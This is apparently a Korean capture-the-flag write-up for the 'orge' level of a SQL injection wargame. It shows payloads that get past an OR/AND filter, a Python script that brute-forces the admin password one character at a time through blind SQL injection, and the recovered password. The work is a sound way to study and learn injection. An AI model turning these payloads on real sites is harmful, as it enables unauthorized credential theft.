• (조건) prob _ . \ or and 문자 사용 불가

  • 4. orc 문제와 동일하게 Blind SQLi 을 통해 admin 계정의 패스워드를 추출하는 과정이 필요하다.
  • 현재 OR, AND 문자열이 필터링 되고 있으나, MySQL 에서는 || (OR) 혹은 && (AND) 문자로 대체하여 사용할 수 있다.
https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=%27%20||%20id=%27admin%27%20%26%26%20%271%27=%271


  • 위 구문을 사용하여 블라인드 SQL 인젝션을 수행하면 admin 계정의 패스워드를 추출할 수 있다.
    • (1) 패스워드 길이 추출 / (2) 패스워드 값 추출
  • 공격에 사용한 페이로드는 아래와 같다.
# 패스워드 길이 : 8
pw=%27%20||%20id=%27admin%27%20%26%26%20LENGTH(pw)%3D8%20%26%26%20%271%27=%271

# 패스워드 값 : 
Extracted admin's password : 7
Extracted admin's password : 7b
Extracted admin's password : 7b7
Extracted admin's password : 7b75
Extracted admin's password : 7b751
Extracted admin's password : 7b751a
Extracted admin's password : 7b751ae
Extracted admin's password : 7b751aec
import requests
 
TRAGET_URL = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
COOKIE = {'PHPSESSID' : 'COOKIE_VALUE'}
PASSWORD = ''
 
for i in range(1, 9):
    for j in range(33, 123):
        URL = TRAGET_URL + f"?pw=%27%20%7C%7C%20id=%27admin%27%20%26%26%20ASCII(SUBSTR(pw,{i},1))%3D{j}%20%26%26%20%271%27%3D%271"
        res = requests.get(URL, cookies=COOKIE)
        if "Hello admin" in res.text:
            PASSWORD += chr(j)
            print(f"Extracted admin's password : {PASSWORD}")
            break

  • 추출한 admin 계정의 패스워드를 입력하면 “ORGE Clear!” 메시지가 출력된다. (풀이 성공)
https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=7b751aec

🐛.. 🐛.. 🐛..